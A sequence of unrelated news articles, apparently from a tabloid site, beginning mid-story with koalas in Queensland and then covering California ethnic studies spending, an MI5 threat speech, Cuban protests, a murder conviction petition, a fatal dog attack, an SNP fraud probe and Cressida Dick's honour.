While koalas are common to the suburb of Griffin, they don't often come into residential areas and mainly stick to the dense tree areas in the Moreton Bay region.

Mr Smith said: 'The rescue people came and got him and say he is in good health'.

The picture, posted to Facebook, received comments from other locals.

One wrote: 'I had a knock on my front door in the middle of the night on the 1st of September last year. My little koala visitor was the perfect way to welcome the start of Spring.'

The discovery came just weeks after another koala was discovered in a busy shopping carpark.

Shoppers completely disregarded its wellbeing to take photographs of the native Australian marsupial, named Tej.

Camera-happy shoppers have been slammed for bombarding a lost koala at a shopping centre and completely disregarding its wellbeing by taking photographs

The native Australian marsupial, named Tej, was spotted wandering the carpark outside of Westfield Coomera in the Gold Coast, Queensland, on Sunday

Tej was spotted wandering the car park outside of Westfield Coomera in the Gold Coast, Queensland, on June 20.

Wildlife services only became aware of the situation after a post was made to social media that encouraged people to come down and see the 'cute koala'.

Wildcare Australia's Amy Wregg immediately went down to the shopping centre and recruited the help of the centre's security guard to control the crowd.

It then took over an hour for her to coax the stressed animal down from the tree.

'We had a bit of an entourage filming us at some point, because they thought it was quite entertaining that there was a koala at a shopping centre,' Ms Wregg told Yahoo.

'He was very stressed and very vocal which isn't the most pleasant sounding noise.'
A small school district in California is planning to spend $40 million teaching 'ethnic studies' to high school students - with consultants training teachers on the new curriculum at a cost of $1,500 an hour.

Hayward Unified School District in June became the first in the state to officially adopt the new curriculum, promising in a press release cited by an op ed in The Wall Street Journal that it 'will be informed by and include Critical Race Theory.'

On June 25, the Bay Area district announced that they had approved the teaching of ethnic studies throughout all grade levels, from preschool to 12th grade, and it will become a graduation requirement by the 2022-23 school year.

The school board described ethnic studies as 'the interdisciplinary study of race and ethnicity, as understood through the perspectives of major underrepresented racial groups in the United States.'

High school students in a classroom in California. The governor of California is spending $100 billion on education, and school districts are spending the money on schemes such as 'ethnic studies' - which require extensive training for teachers

April Oquenda, the president of Hayward Unified School District, on June 25 celebrated the announcement that ethnic studies would now be taught in her area

They stated: 'This discipline contends with racism, white supremacy culture, anti-Blackness, anti-Indigeneity, and nation-within-nation relationships.'

The course is designed 'to educate students to be socially, politically, environmentally, and economically conscious of their personal connections to local and transnational histories.

'The policy and efforts to develop an Ethnic Studies framework are informed by and will include Critical Race Theory and the Liberated Ethnic Studies Model Curriculum.'

Dr April Oquenda, president of the board, said: 'It's important that we teach our students of all ages about their ancestral legacies.

'Culture is essential in the fight for racial justice, and the district believes that the promise of the full inclusion of ethnic and cultural groups who have contributed to the development of our country has not yet been realized.'

San Diego Unified School District is expected to approve a similar plan later this summer, the paper reported.

R. Tolteka Cuauhtin, author of Rethinking Ethnic Studies, is charging $1,500 an hour to train teacher in the new curriculum

Eight states have banned the critical race theory and several others are considering passing similar resolutions

Gavin Newsom, the governor of California, is seen on July 13 promoting the California Comeback Plan. It includes $100 billion for education

CRITICAL RACE THEORY: WHAT DOES IT MEAN? The fight over critical race theory in schools has escalated in the United States over the last year. The theory has sparked a fierce nationwide debate in the wake of the Black Lives Matter protests around the country over the last year and the introduction of the 1619 Project. The 1619 Project, which was published by the New York Times in 2019 to mark 400 years since the first enslaved Africans arrived on American shores, reframes American history by 'placing the consequences of slavery and the contributions of black Americans at the center of the US narrative'. The debate surrounding critical race theory regards concerns that some children are being indoctrinated into thinking that white people are inherently racist or sexist. Those against critical race theory have argued it reduces people to the categories of 'privileged' or 'oppressed' based on their skin color. Supporters, however, say the theory is vital to eliminating racism because it examines the ways in which race influence American politics, culture and the law. Advertisement

The curriculum is influenced by teachings from the Liberated Ethnic Studies Model Curriculum Institute.

One consultant affiliated with the institute, R. Tolteka Cuauhtin, has been hired by another school district, Salinas Union High School District, to provide professional development for teachers to help implement ethnic studies - at a cost of $1,400 an hour, the WSJ said.

The $40 million is being spent on in Hayward - a district of 30 schools, serving 21,000 students. By comparison, New York schools district, the largest in the nation, serves 1.2 million students.

The paper described the new curriculum as spawning a cottage industry of 'woke' educational specialists, poised to benefit from an influx of cash.

Gavin Newsom, the Democrat governor of California, has unveiled a $100 billion plan for education in the state, entitled: 'California Roars Back'.

It includes $3 billion for community schools, which join with outside groups to offer additional services; $4 billion for behavioral health, which will looks at systemic racism, among other issues; and $2.6 billion for 'research-tested interventions,' such as 'high-dose tutoring.'

California's teaching union in January recommended ethnic studies as part of curriculum.

They issued a guide, recommending that the curriculum being described as intending to 'conceptualize, imagine, and build new possibilities for post-imperial life that promote collective narratives of transformative resistance, critical hope, and radical healing.'

Kenny Xu, president of Color Us United - a group which 'opposes dividing America by race, religion, sexual orientation or any other characteristic', wrote in the WSJ that there had been a lack of transparency about the new curriculum.

'Taxpayer dollars shouldn't be used to fund courses that are fundamentally racist and anti-American,' he wrote.

'California's parents deserve to know what is happening in their districts, and Americans deserve to know how their money is being spent.'
Britons should be on their guard about spying and hostile state attacks from the likes of China and Russia in the same way they are about terrorism, MI5's top boss will warn today.

In a major speech at the Thames House headquarters in London, MI5's Director General, Ken McCallum will warn that ordinary members of the public are not immune to the tentacles of hostile states.

He will also emphasis that the 'less visible threats that have the potential to affect us all'.

To date, there have been more than 10,000 'disguised approaches from foreign spies to regular people in the UK, seeking to manipulate them', according to MI5.

The approaches have been made through social media sites such as LinkedIn to steal information, according to the UK's Security Service.

And Mr McCallum say he believes 'regular people' should care more about cyber attacks, spying on our world-leading research and technology, misinformation and interference.

In a major speech at the Thames House spy headquarters in London, MI5's Director General, Ken McCallum (pictured) will warn that ordinary members of the public are not immune to the tentacles of hostile states like Russia and China

Mr McCallum will today warn Britons to be on their guard about hostile state attacks from the likes of China (pictured left: President Xi Jinping) and Russia (pictured right: President Vladamir Putin), warning they should treat the threat level in the same way they do with terrorism.

The security service aiming to keep the UK safe: What is MI5? MI5 - which stands for the much less used 'Military Intelligence Section 5' - is Britain's Security Service. Based in Thames House, London, the service is involved in domestic counter-intelligence and security - unlike MI6 which is the foreign intelligence agency. MI5 was set up as counter-intelligence service 1909, first focusing on the threat from Germany and then, after World War Two, focusing on the Cold War threat posed by the Soviet Union's agents. The service currently employs around 4,400 workers all of whom are bound to secrecy under the Official Secrets Act. MI5 also has a policy not to reveal the name of anyone who has worked for the service while they are still alive. The service's Director General is however an exception to that rule and is made public. The current chief of MI5 is Ken McCallum - a life-long spy who has worked for the agency for the last 20 years. The Director General of MI5 used to known as the codename 'K', but has not been since the 1940s. Advertisement

He will warn that the attacks can be fatal, with the 'consequences ranging from frustration and inconvenience, through loss of livelihood, potentially up to loss of life.'

Mr McCallum, a career spy, will challenge the assumption that the impact of hostile activity is felt only by government or institutions, urging the public to recognise that they too are at risk from the constant undercurrent of activity.

'We must, over time, build the same public awareness and resilience to state threats that we have done over the years on terrorism,' he will say In an annual threat update speech.

He will also say: 'UK victims of state espionage range way wider than just government. We see the UK's brilliant universities and researchers having their discoveries stolen or copied; we see businesses hollowed out by the loss of advantage they've worked painstakingly to build.

'Given half a chance, hostile actors will short-circuit years of patient British research or investment.

'This is happening at scale. And it affects us all. UK jobs, UK public services, UK futures.'

He adds: 'To speak directly: if you are working in a high-tech business; or engaged in cutting-edge scientific research; or exporting into certain markets, you will be of interest - more interest than you might think - to foreign spies.

'You don't have to be scared; but be switched on.' In the threat assessment, the second since he became Director General in April, Mr McCallum will also address the current terrorism threat.

Mr McCallum is expected to reference the challenge to MI5 posed by the withdrawal of UK forces from Afghanistan and the scale of the threat from extreme right-wing terrorism.

He will also emphasise the risk to public safety posed by Facebook's plan for end-to-end encryption, which police chiefs say will compromise their ability to catch child sex offenders.

Mr McCallum, head of MI5 (pictured: The MI5 building) will challenge the assumption that the impact of hostile activity is felt only by government or institutions, urging the public to recognise that they too are at risk from the constant undercurrent of activity

Mr McCallum's comments come after at least 1,000 were hit in a global cyber-attack believed to have been carried out by Russian hackers.

It led US President Joe Biden to warn that his country will retaliate if it finds out Russia was behind the virus, that hit firms in the run-up to July 4 weekend.

The hackers first targeted Florida-based IT company Kaseya before spreading to other firms that use the company's software.

The breach was discovered Friday afternoon as many businesses had already closed or waved goodbye to employees for the long Independence Day weekend.

Kaseya said it notified the FBI and had so far found less than 40 customers impacted by the breach.

Security firm Huntress said earlier this month that it believed the Russia-linked REvil ransomware cyber gang was to blame.

Meanwhile, In May, a probe was launched into Chinese 'spies' working in British universities.

Specialists at the Foreign Office, Special Branch and HMRC are reported to have drawn up a list of academics suspected of passing sensitive information to Beijing, including pioneering British technology that could be used to aid the repression of minorities and dissidents.

The president told reporters Saturday that it is not yet clear who is behind the latest cybersecurity breach to strike American businesses

Investigators are understood to have 'established a correlation' between universities which earn significant income from students from China and the activities of staff which have prompted suspicion.

Universities under scrutiny include Manchester and Imperial College, which earn 26 per cent of their income from students from China; Liverpool and Sheffield (28 per cent); and Oxford and Cambridge (10 per cent).

There is no suggestion any of the institutions are aware of, or complicit in, any wrongdoing.

Last year it was revealed that a third of non-EU university students in the UK come from China, with 120,000 paying a total of 2.1 billion in fees.

The investigation was launched amid fears academics were engaged in a 'gold rush' to strike deals with the Communist state over scientific breakthroughs.

In February, The Mail on Sunday revealed MI6 officers, seconded to the Foreign Office, were leading an investigation into more than a dozen universities for potential breach of export controls.

It also emerged that almost 200 British academics were being investigated on suspicion of unwittingly helping the Chinese government build weapons of mass destruction.

Anyone found in breach of the 2008 Export Control Order faces a maximum of ten years in prison.
Homeland Security Secretary Alejandro Mayorkas on Tuesday warned would-be migrants fleeing the turmoil in Cuba and Haiti not to try and reach the United States illegally by sea.

The Cuban-born member of Biden's cabinet said the voyage is too dangerous and they will not be allowed to enter, even if they say they are fleeing persecution.

'Let me be clear: If you take to the sea, you will not come to the United States,' Mayorkas said at a news briefing.

Coast Guard officials are monitoring by air and have not seen a surge in migrants since the unrest in Cuba began on Sunday and the assassination of Haiti's President Jovenel Moise last week, he said.

Mayorkas, whose family fled the Communist takeover of Cuba in 1960, said the issue had personal significance to him. He also stressed the danger of the journey.

'This risk is not worth taking,' he said.

The demonstrations in Cuba turned bloody overnight when the first protester was killed when police opened fire on a 'peaceful' crowd.

Anti-government reporter Dina Stars was also arrested live on TV while speaking with Spain TV host Marta Flich about the anger against the communist regime.

Homeland Security Secretary Alejandro Mayorkas on Tuesday warned would-be migrants from Cuba and Haiti against trying to reach the United States illegally by sea

A Tuesday protest in the Little Havana neighborhood of Miami, Florida following large demonstrations Sunday in Cuba

Lucy Brigman, with megaphone, leads chants against the communist regime in Cuba during a rally Tuesday in Miami

U.S. officials were prepared to deal with any surge, he added.

President Joe Biden said Monday that he stands with the 'remarkable' Cuban protesters and 'their clarion call for freedom' amid demonstrations that brought thousands to the streets from Havana to Santiago on Sunday.

'The Cuban people are demanding their freedom from an authoritarian regime. I don't think we've seen anything like these protests in a long long time if, quite frankly ever,' the president said at the top of a meeting in the Roosevelt Room. 'The US stands firmly with the people of Cuba as they assert their universal rights. And we call on the government of Cuba to refrain from violence in their attempt to silence the voices of the people of Cuba.'

In a statement earlier Biden said, 'We stand with the Cuban people and their clarion call for freedom and relief from the tragic grip of the pandemic and from the decades of repression and economic suffering to which they have been subjected by Cuba's authoritarian regime.'

He said the protests represented the Cuban people 'asserting fundamental and universal rights.'

'Those rights, including the right of peaceful protest and the right to freely determine their own future, must be respected,' the president continued.

'The United States calls on the Cuban regime to hear their people and serve their needs at this vital moment rather than enriching themselves,' Biden added.

Cuba is going through its worst economic crisis since the fall of the Soviet Union, along with a resurgence of coronavirus cases, as it suffers the consequences of US sanctions imposed by the Trump administration.

Thousands poured into the streets Sunday for the largest demonstrations seen in decades.

It comes months after six decades of the Castro family dominating Cuban politics ended with 89-year-old Raul Castro relinquishing the country's most powerful position - that of party first secretary - to Miguel Diaz-Canel, Cuba's president.

In an address to the country, President Diaz-Canel blamed the US for stoking anger, and said: 'We are prepared to do anything. We will be battling in the streets.'

The Cuban government has blamed the island's worsening economic crisis on U.S. sanctions, while Russia and Mexico have condemned 'outside interference' in an apparent swipe against Biden's administration.

'There's every indication that yesterday's protests were spontaneous expressions of people who are exhausted with the Cuban government's economic mismanagement and repression,' press secretary Jen Psaki said Monday. 'And these are protests inspired by the harsh realities of everyday life in Cuba, not people in another country - I'm saying that because I think there have been a range of accusations out there.'

Police detain a person during protests Sunday in Havana, Cuba
An adorable koala found close to death with a nasty chlamydia infection has been released back into the wild by carers after eight long months of recovery.

Daisy the koala was found in extremely poor health with severe chlamydia in both eyes in bushland near Port Stephens, three hours north of Sydney.

A concerned local, known only as Susie, was forced to painstakingly wait more than a week for the koala to come down low enough to be rescued from a tree.

Daisy was rushed to Port Stephens Koalas - a non-profit rehabilitation centre and sanctuary - for life-saving care.



Rescued koala Daisy (pictured) was found near death in the bushland near Port Stephens on the coast of NSW

Staff at the charity initially held grave concerns for Daisy as her road to recovery was slow with even a small amount of stress causing her eyes to worsen.

'We weren't sure if we would ever be able to save her eyes and return her to the wild,' one of the carers said.

After months of treatment, Daisy's eyes finally saw improvement along with her appetite and behaviour.

Daisy's triumphant return to the wild was filmed and shared on YouTube.

Accompanied by her rescuer Susie and the President of Port Stephens Koalas, the heartwarming video footage shows Daisy being released gently from a cage.

Once free, Daisy is seen confidently making her way up the trunk of the nearest tree.

Daisy will continued to be watched and monitored from a distance with minimal human contact nearby National Park area, Bombah Point.

Carers (pictured) initially held little hope for koala Daisy's (pictured) long-term health yet she showed steady improvement and was finally released back home after 8 long months of recovery

Feel-good responses on YouTube expressed joy at Daisy's return to health along with praise for the lucky koala's guardian angels.

'Poor girl. So glad that she is well again and back where she belongs,' said one.

'Happy tears for beautiful Daisy! All the best for continued healthy and long life. Thank you to all who care for these precious koalas!' posted another.

Port Stephens faces a loss of habitat for koalas due to continued development in the local area.

Scientists say Australia's iconic koala is at risk of extinction due to stress on its immune systems caused by bushfires and destruction of the landscape.

Koala populations have steadily declined mostly due to disease  the most common reason that they're admitted into care  with chlamydia being the most common condition.

To help the work of Port Stephens Koalas, you can donate or volunteer at www.PortStephensKoalas.com.au.
Nearly 40,000 people have signed a petition urging prosecutors to re-examine the case of Chanel Lewis, a mentally disabled black man who was sentenced to life in prison for the 2016 murder of Queens jogger Karina Vetrano.

The petition, which was delivered on Tuesday to the office of Queens County District Attorney Melinda Katz, wants the case referred to the Conviction Integrity Unit.

The CIU was founded when Katz entered office in January of last year. It was formed to review past convictions where there are credible claims that the defendant is actually innocent.

The petition was organized by an alliance of advocacy groups including Color of Change, VOCAL-NY, and Housing Justice for All.

The petitioners claim that the Lewis case fits the criteria given a history of prosecutorial misconduct on the part of prosecutor Brad Leventhal.

Nearly 40,000 people have signed a petition urging prosecutors to re-examine the case of Chanel Lewis, a mentally disabled black man who was sentenced to life in prison for the 2016 murder of Queens jogger Karina Vetrano. Lewis is pictured after his arrest in 2017

The last photo of Karina Vetrano at her Howard Beach home moments before leaving for a jog on August 2, 2016

They also cite 'concerns over the use of racial profiling in Lewis' initial arrest' and a 'mid-trial disclosure of significant scientific evidence.'

The activists also argue that there are credible claims by the defense that the confessions the prosecution relied upon in court were coerced by police.

The advocacy groups argue that Katz made a pledge during her successful campaign to revisit the Lewis conviction.

DailyMail.com has reached out to Katzs office seeking comment.

'This is totally an injustice on the Lewis family,' family friend Burchell Marcus told NY1.

'They are under duress and stress because of the wrongful conviction of their loved one. I want to call on Melinda Katz to do the right thing.'

'We had a Central Park Five, we will not have a Howard Beach One with Chanel Lewis,' said community advocate Michael Thomas.

'No justice. No peace.'

The Central Park Five was a group of black and Latino youths who were wrongfully convicted and sentenced for the assault and rape of a white woman who was jogging in Central Park in 1989.

In April 2019, Lewis was sentenced to life in prison after he was convicted in the killing of Vetrano, 30. His first trial ended in a hung jury. He was then found guilty at the end of his second trial in November 2018.

A jury found Chanel Lewis, 22, guilty of murder and sexual abuse at his retrial in April 2019

Karina Vetrano, 30, went missing on August 2, 2016, after she was last seen jogging near her home in Howard Beach

After the conviction, one of the jurors, Christopher Gooley, accused other jurors of violating the judges orders not to discuss the case before deliberations.

Gooley told The New York Times that he has doubts about Lewiss guilt and that he was pressured to convict him despite his misgivings.

The Queens District Attorneys Office filed paperwork with the court with statements from at least six jurors denying Gooleys claims.

The case helped change the states DNA-investigation rules and raised questions about race and police procedures.

'While there is no denying that Karina Vetrano's death is tragic and that her family and friends suffered a great loss, every aspect of this case - from the police investigation to jury deliberations - was propelled by a desire to convict at all costs,' the Legal Aid Society, which represents Lewis, said in a statement.

'This was done without any concern for Mr. Lewis's constitutional rights to due process and a fair trial.

'We will appeal this case to the Appellate Division to secure Mr. Lewis the justice that he deserves.'

Phil Vetrano found his 30-year-old daughter's body, sexually abused and strangled, in a park where they often went for runs together.

The attack redoubled the wariness of women who run alone, and it baffled investigators for a time. Lewis was arrested six months later.

Authorities said his DNA was found on Vetrano's neck and cellphone and in a mixture of DNA under her fingernails.

His own phone contained downloaded photos of the crime scene and searches for information about the case, police said.

And Lewis recorded a confession, saying he was upset at someone else - a neighbor of his who played loud music - and 'lost it' when he saw Vetrano.

'One thing led to another,' he said in the confession. 'Hitting her and stuff like that.'

Supporters of Lewis claim that his confession was coerced and the DNA evidence that linked him to Vetrano is unreliable

Lewis said he strangled Vetrano but didnt sexually abuse her.

In his taped confession, Lewis told police that he was upset with a neighbor and that when he came across Vetrano on a secluded section of a marshland park, he 'just lost it.'

He said he beat and strangled her but did not molest her.

'This girl jogging...and you know, one thing led to another,' he told detectives.

'Hitting her and stuff like that.'

His attorneys said the confession was wrongly obtained and should not have been admissible in the trial.

They said he confessed only because he wanted to go home after waiting hours in an interrogation room.

Defense attorney Robert Moeller said the case was based on circumstantial evidence.

He argued that the crime scene was corrupted and that DNA evidence was suspect.

Lewis' defense said that the DNA evidence hadn't been gathered properly and that the confession was coerced and didn't match Vetrano's injuries or some other facts.

Before Lewis's arrest, the investigation prompted police prosecutors to seek state permission to use a technique known as familial DNA searching - looking for people similar enough to be closely related to whoever left DNA at the crime scene, in hopes they will lead to a suspect.
Said the staffy probably thought the baby boy was prey when it pounced

Dog expert says kids under 14 should never be allowed near beloved family pets

It has renewed calls to ban staffies in Australia, following a series of attacks

The family pet mauled the five-week-old in the early hours of Sunday morning

A vicious dog that mauled a five-week-old baby to death while his parents slept should never have been near the infant it 'viewed as prey', canine experts say.

The six-year-old American Staffordshire terrier killed the little boy in his home in Kariong, on the NSW Central Coast, in the early hours of Sunday morning.

Paramedics arrived at the scene about 2.18am, but the infant could not be revived. The family pet was euthanised days later.

Dog experts warned such powerful dogs should never be within three metres of a child under 14.

However, they insisted specific dog breeds, like staffies, were not inherently dangerous, instead saying individual dogs were 'unstable' and should be put down.

This is despite some types of dogs being bred to hunt and kill, and being overrepresented in fatal attacks - prompting calls to ban them.

Pictured: A distraught man outside a home where a newborn baby boy was mauled to death by a staffy

Pictured: First responders at a home on the Central Coast after the five-week-old boy was killed. Canine experts warned dogs should never be left with small children

Four weeks before the infant was mauled, the same dog dragged a spaniel named Arrow under the backyard fence and viciously killed him.

The local council told the owners to take their pet for a temperament assessment. But a month later, the little boy was dead.

Dog behavioural expert Nathan McCredie explained that to a dog, such a small child was not thought of as a human, but instead a catch.

'That dog would have had no idea the boy was a human - babies are a different size, they smell different, they scream and squeal,' he told Daily Mail Australia.

'To the staffy, it looks like prey.'

Mr McCredie, who runs canine training service Dog Gone Mad, said any such animal - especially one with a violent history - should never have been allowed in the same room as the baby.

'I wouldn't have it around my kids. Letting it loose around kids while unsupervised - that scares the hell out of me,' the father-of-two said.

Pictured: A dog after he was attacked by a staffy on the street. Half his ear was sliced off

Pictured: The sad-looking dog after a staffy came along and attacked him - slicing off half his ear

'I don't have dogs within a three metre radius of kids under the age of 14, and if I do, it's because I invited the dog in and I can control it.'

Mr McCredie said 80 to 90 per cent of dog bites are the animal's way of saying they are in pain, and children under the age of 14 often don't know when they are inflicting pain or discomfort on an animal.

If the dog decides to strike, kids are smaller and significantly less powerful than a large and muscly dog, like an American Staffordshire terrier, and can't escape the its jaws.

Residents in the region of the Jeff's Close, Kariong, home where the baby died claim American staffies are responsible for a spate of viscous attacks.

Central Coast local Elly told Daily Mail Australia her friend was walking her 12-year-old dog Buddy, when two roaming staffies appeared.

'My friend tried to protect him but he was dragged out of her arms and ripped to pieces in front of her,' she said.

'She was badly injured, hospitalised and now has scars for life  scars visible on her arms which remind her every day of the hideous event, and she is now mentally scarred forever from witnessing a horror she can never un-see.'

In another horrific attack, a dog of the same breed attacked a man's pet and sliced his ear off.

Pictured: Dog behavioural expert Nathan McCredie, who is the owner of canine training service Dog Gone Mad. He warned against leaving dogs in the company of children

When asked why some dogs would behave that way, Mr McCredie said some dogs were just aggressive and couldn't be helped.

'I see it with all breeds. Some dogs are just unstable and should be put to sleep. I have no doubt that staffy was unstable,' he said.

Another dog expert, Nathan Williams from training company Dog Behavioural Specialist, told Daily Mail Australia that humans often teach canines to kill by playing games like tug-of-war with them.

'Dogs aren't meant to have toys - they've only been around for 40 to 50 years and we now have more problems than we've ever had before,' he said.

'When dogs use their mouths on something non protein-based, they learn that it's OK to do that with other objects. Tug-of-war is violent and riles the dog up, so we're teaching them that's okay.'

He also said dogs had very sensitive hearing, so when they play with squeaky toys, they get agitated by the sound and use their mouth to stop it squeaking.

That logic could transfer to a cat or a baby, with tragic consequences.

The death renewed calls to ban staffys from Australia. Dog expert says some pets need more training (stock image of a staffy)

Like Mr McCredie, Mr Williams said the killer dog was probably triggered because the baby was crying - but would not have known it was hurting a human.

When asked what dog breeds are the most dangerous to children, both experts said all breeds can potentially be dangerous - but staffies were getting a lot of attention because they were such a popular dog.

'German Shepherds used to be really popular and they had bad reputation for biting kids, Dobermans were popular in the '70s and there were lots of reports of those attacking babies and other dogs - now its staffies,' Mr Williams said.

Mr McCrindle said tragedies like the one on the Central Coast usually happen because the owners were uneducated about how to care for their pet.

'There is no such thing as an unpredictable dog - it's a lack of education, and people don't know what's safe and what's not,' he said.

He suggested about three months of mandatory training for all dogs and their owners to ensure fatalities like the one this weekend didn't happen again.

Pictured: Nathan Williams, who is the owner of training company Dog Behavioural Specialist

The horrific incident has social media users divided - some say staffies were 'wonderful family pets' and attacks were always the owner's fault, but others thought they should be banned.

'Ban irresponsible dog owners. It's not the breed it's the way the dog is treated. And never leave a child unsupervised with any animal,' one Facebook user wrote.

'It is NOT the breed! It is bad owners!! You should never leave a child alone with an animal! No matter big or small!' another added.

A third wrote: 'Seriously, when are humans going to take responsibility for how their dog behaves. It is not the breed.

'Any dog can and will bite, unfortunately a larger breed will have a harder and more damaging bite.'

Another user said she owned a 'sweet' staffy, but would never leave him alone with kids.

'I have a staffy and hes really sweet but I would never leave children alone with him, they are prey driven dogs and kids especially babies sound like prey to them, give these dogs to the right owners not people with children. Its so very sad,' she said.
The Scottish National Party is at the centre of a criminal fraud probe amid claims cash donated to a 600,000 fundraising drive has gone missing.

Police Scotland said the investigation focused on seven complaints about donations and had been launched after consultation with prosecutors.

Detectives are looking at allegations that cash which was earmarked for campaigning for a second independence referendum has been diverted elsewhere.

The Tories voiced concern over the 'increasingly murky' affair which could see officers interviewing senior figures in the SNP.

First Minister Nicola Sturgeon's husband Peter Murrell is chief executive of the party.

The probe follows a series of resignations from the SNP's ruling body in a row over the transparency of the party's accounts.

The Scottish National Party is at the centre of a criminal fraud probe amid claims cash donated to a 600,000 fundraising drive has gone missing

Last night Scottish Tory chief whip Stephen Kerr said: 'The SNP has failed to be fully transparent over this funding for months.

'Senior figures have resigned from the party's executive committee over the matter but the SNP leadership have still not addressed these serious claims.

'The public to deserve to know the truth. It is only right that Police Scotland are stepping up their investigations having received numerous complaints.

'The police must be allowed to explore every aspect of these complaints to ensure they get to the bottom of this increasingly murky situation.'

Since 2017, the SNP has used fundraising websites to raise more than 660,000 to be used for the specific purpose of a referendum campaign.

But in its most recent accounts, the SNP had just 96,000 in the bank at the end of 2019.

First Minister Nicola Sturgeon's husband Peter Murrell (pictured) is chief executive of the party

That led to some independence supporters contacting police, accusing the party of behaving fraudulently.

Nicola Sturgeon has previously denied any money has gone missing, saying the party's finances have been independently audited.

Two SNP MPs quit the ruling National Executive Committee (NEC) in May, citing a lack of transparency from the party.

At that point, Police Scotland said it was assessing a fraud allegation relating to 600,000 of funds 'to determine if an investigation is required'.

Yesterday a spokesman said: 'Police Scotland has now received seven complaints in relation to donations that were made to the Scottish National Party.

'After assessment and consultation with the Crown Office and Procurator Fiscal Service, we will now carry out an investigation.

'Inquiries are continuing and anyone who has any information which may assist with this investigation is asked to contact police.'

The force has not stated exactly which donations the investigation relates to.

In May, MPs Douglas Chapman and Joanna Cherry resigned from the NEC.

Mr Chapman had been the party's national treasurer and said he had not been given enough information to do his job.

On Twitter, he said: 'Despite having a resounding mandate from members to introduce more transparency into the party's finances, I have not received the support or financial information to carry out the fiduciary duties of National Treasurer.

'Regretfully, I have resigned with immediate effect.'

The SNP's business convener Kirsten Oswald said she 'fundamentally disagreed' with this description.

Last night Scottish Labour deputy leader Jackie Baillie said: 'I very much welcome the news that Police Scotland has launched an investigation into the claims of impropriety regarding donations to the SNP.

'For many months the SNP has been embroiled in internal fighting and recriminations over this most serious of matters.

'The truth must be known, and Police Scotland must be allowed to carry out a thorough and detailed investigation.'

In June, the First Minister told STV News: 'I'm not concerned about the party's finances.

'The finances of the SNP are independently audited, our accounts are sent to the Electoral Commission in common with other parties and of course published, so there's full scrutiny around that.

'Money hasn't gone missing. All money goes through the SNP accounts independently and fully audited.

'We don't hold separate accounts, we're under no legal requirement to do that, our accounts are managed on a cash-flow basis.

'But every penny we raise to support the campaign for independence will be spent on the campaign for independence.'

Last night an SNP spokesman said: 'We will co-operate fully with any investigation.

'As we have made clear, all sums raised for independence campaigning will be spent on independence campaigning.'

Mr Chapman's resignation came after three members of the SNP's finance and audit committee stood down, claiming they had been denied access to the accounts.

Days later, Mr Chapman's MP colleague, Miss Cherry, a QC, also quit the governing NEC, claiming she was prevented from improving 'transparency' and 'scrutiny' within the party.

Mr Chapman's replacement as treasurer, Colin Beattie MSP, has insisted 'amounts equivalent to the sums raised' will be spent on campaigning in future.

It emerged last month that the SNP had returned a donation to its independence fund after the man who gifted the cash threatened to go to the police alleging fraud.

Mr Murrell sent a personal message to a disgruntled former member who questioned how the 600,000 independence fund was used.

The party said at the time that other donations had also been refunded, but these related to a 'tiny number' of former members.

The independence supporter wrote to the party: 'I asked you to return my monies paid into the 'ring-fenced' Independence Fund.

'I have failed to receive a response. Please note that if you fail to respond within the next seven days or return monies paid, I will report you to the police for theft/ fraud.'

Mr Murrell himself then emailed in response: 'The National Treasurer has approved your refund and the bank transfer of 40 will be processed today. Kind regards, Peter.'

Yesterday activist Sean Clerkin, who made the initial police complaint, said: 'I'm very pleased the police have proceeded to a full criminal investigation so that all facts can be investigated and appropriate taken when the investigation is completed.'

Alba Party General Secretary Chris McEleny, who defected from the SNP in March, said he first raised concerns about the party's campaign funds in June 2019.

A former member of the SNP's ruling body, he said his life was then 'made a living hell by SNP HQ staff members'.

Yesterday he said: 'As this is now a formal police investigation it will be inappropriate for me to provide public comment; however like any responsible citizen I will answer any questions Police Scotland put to me on the matter.'
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Disaster-prone Met Police chief Cressida Dick has been made a Dame Commander by Prince Charles as she tries to cling on as Britain's most senior police officer despite presiding over a string of controversies including the botched VIP paedophile ring inquiry, the Wembley security breach at the Euros final and the scandals surrounding Sarah Everard's murder.

The Metropolitan Police commissioner, who hopes to renew her contract which is due to expire in April, was given the honour by the Prince of Wales during an investiture ceremony at St James's Palace this morning in recognition of her 38-year service as a police officer.

Dame Cressida began her career in the capital as a constable before holding a variety of posts on her way to becoming Scotland Yard's first female head. However, her leadership of the force and its integrity have come under increasing scrutiny following a series of failures.

On her watch, ticketless football hooligans broke past Wembley's security barriers on Sunday and stormed the grounds ahead of England's clash with Italy. The Met was accused of not having enough officers on duty to create a 'ring of steel' around he venue to hold back the frenzied England supporters.

Dame Cressida has also faced questions about why Sarah Everard's killer Wayne Couzens, an armed member of the elite Parliamentary and Diplomatic Protection squad, was not arrested before he kidnapped, raped and murdered the 33-year-old marketing manager for flashing offences previously reported to the police.

She faced calls to resign after women were arrested at a vigil in Clapham Common held in memory of Miss Everard, in scenes that shocked the nation and sparked widespread condemnation of the Met. At the time, she defended the force's crackdown of the gathering and dismissed so-called 'armchair' critics, adding: 'What has happened makes me more determined, not less, to lead my organisation.'

The force has also been deemed 'institutionally corrupt' by an independent panel investigating police inquiries into the unsolved murder in the 1980s of private detective Daniel Morgan.

Additionally, teenager murders are hurtling towards a 13-year high as sources close to Dame Cressida said she remained committed to driving down youth violence - her supposed priority when she became the Met's first female commissioner in 2017. Nearly two dozens teenagers have died this year and the easing of lockdown has seen a spike in violent crimes.

London Mayor Saqid Khan today insisted the Met Police have his full support despite the chaotic scenes in Wembley and across the capital at the Euro 2020 final, adding 'we have to look at where the failure lies' over the security breach.

Amid speculation that Dame Cressida is considering seeking an extension to her term in Scotland Yard, Mr Khan said: 'She has not told me what her intentions are.' He added that though the police had his full confidence, he often had 'difficult' conversations with senior officers.

Disaster-prone Met Police chief Cressida Dick has been made a Dame Commander by Prince Charles

Dame Cressida Dick wishes to continue in her role despite a string of controversies and the Wembley security scandal

It comes after the Met faced criticism following violence at Wembley Stadium at the final of Euro 2020 on Sunday

The Metropolitan Police commissioner faced calls for her resignation earlier this year after women were arrested at a vigil that was held in memory of Miss Everard

Dame Cressida was also slammed by the families of victims of VIP paedophile ring fantasist Carl Beech, whose spurious allegations were investigated by police - ruining the lives and reputations of those he accused

Home Secretary Priti Patel makes the appointment, taking into consideration any recommendation from Sadiq Khan, the mayor of London, who oversees the Met

